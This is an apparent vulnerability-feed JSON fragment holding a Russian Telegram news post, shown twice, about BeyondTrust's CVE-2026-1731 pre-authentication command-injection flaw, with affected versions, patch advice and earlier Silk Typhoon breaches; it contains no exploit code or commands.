\u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 (Remote Support, RS) \u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (Privileged Remote Access, PRA).\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-1731 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0425\u0430\u0440\u0448\u0443 \u0414\u0436\u0430\u0439\u0441\u0443\u0430\u043b\u0443 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 Hacktron AI. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 BeyondTrust Remote Support 25.3.1 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 Privileged Remote Access 24.3.4 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043d\u0435 \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0443. \u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f, \u0443\u0442\u0435\u0447\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u0431\u043e\u0438 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.\n\nBeyondTrust \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u043b\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432\u0441\u0435\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c RS/PRA \u043a 2 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u0432\u0441\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0445 \u0434\u043e Remote Support 25.3.2 \u0438 Privileged Remote Access 25.1.1 (\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439).\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e 11 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443 (\u043a\u0430\u043a \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435, \u0442\u0430\u043a \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043a\u043e\u043b\u043e 8500 \u0438\u0437 \u043d\u0438\u0445 - \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438, \u0435\u0441\u043b\u0438 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\nBeyondTrust \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-1731 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 BeyondTrust RS/PRA \u043d\u0435 \u0440\u0430\u0437 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u0430\u0442\u0430\u043a.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 API \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 17 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438,\u00a0\u0432\u0437\u043b\u043e\u043c\u0430\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust\u00a0\u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0432\u0443\u0445 0-day RS/PRA (CVE-2024-12356 \u0438 CVE-2024-12686).\n\n\u0422\u043e\u0433\u0434\u0430 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u0438\u043c \u043d\u0443\u043b\u044f\u043c \u043f\u043e\u0434 \u043a\u0430\u0442\u043e\u043a Silk Typhoon \u043f\u043e\u043f\u0430\u043b\u043e \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u044b\u043a\u0440\u0430\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0437 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust.\n\n\u0422\u0430\u043a \u0447\u0442\u043e, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044f \u0432\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0443 BeyondTrust \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 20 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 100 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 75% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Fortune 100 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u043d\u043e\u0432\u0443\u044e CVE-2026-1731 \u0432 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0442\u043e\u0447\u043d\u043e \u0431\u0443\u0434\u0443\u0442 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c. \u041d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-02-09T17:30:06.000000Z"}, {"uuid": "91d4a7e5-2363-41c8-a784-2587b029d64a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/true_secator/7892", "content": "BeyondTrust \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 (Remote Support, RS) \u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (Privileged Remote Access, PRA).\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-1731 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0425\u0430\u0440\u0448\u0443 \u0414\u0436\u0430\u0439\u0441\u0443\u0430\u043b\u0443 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 Hacktron AI. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 BeyondTrust Remote Support 25.3.1 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 Privileged Remote Access 24.3.4 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043d\u0435 \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u0434\u043b\u044f \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0443. \u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f, \u0443\u0442\u0435\u0447\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u0431\u043e\u0438 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.\n\nBeyondTrust \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u043b\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432\u0441\u0435\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c RS/PRA \u043a 2 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u0432\u0441\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0445 \u0434\u043e Remote Support 25.3.2 \u0438 Privileged Remote Access 25.1.1 (\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439).\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e 11 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443 (\u043a\u0430\u043a \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435, \u0442\u0430\u043a \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043a\u043e\u043b\u043e 8500 \u0438\u0437 \u043d\u0438\u0445 - \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438, \u0435\u0441\u043b\u0438 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\nBeyondTrust \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-1731 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 BeyondTrust RS/PRA \u043d\u0435 \u0440\u0430\u0437 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u0430\u0442\u0430\u043a.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 API \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 17 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 SaaS-\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438,\u00a0\u0432\u0437\u043b\u043e\u043c\u0430\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust\u00a0\u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0432\u0443\u0445 0-day RS/PRA (CVE-2024-12356 \u0438 CVE-2024-12686).\n\n\u0422\u043e\u0433\u0434\u0430 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u0438\u043c \u043d\u0443\u043b\u044f\u043c \u043f\u043e\u0434 \u043a\u0430\u0442\u043e\u043a Silk Typhoon \u043f\u043e\u043f\u0430\u043b\u043e \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u044b\u043a\u0440\u0430\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0437 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust.\n\n\u0422\u0430\u043a \u0447\u0442\u043e, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044f \u0432\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0443 BeyondTrust \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 20 000 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 100 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f 75% \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u0441\u043f\u0438\u0441\u043a\u0430 Fortune 100 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 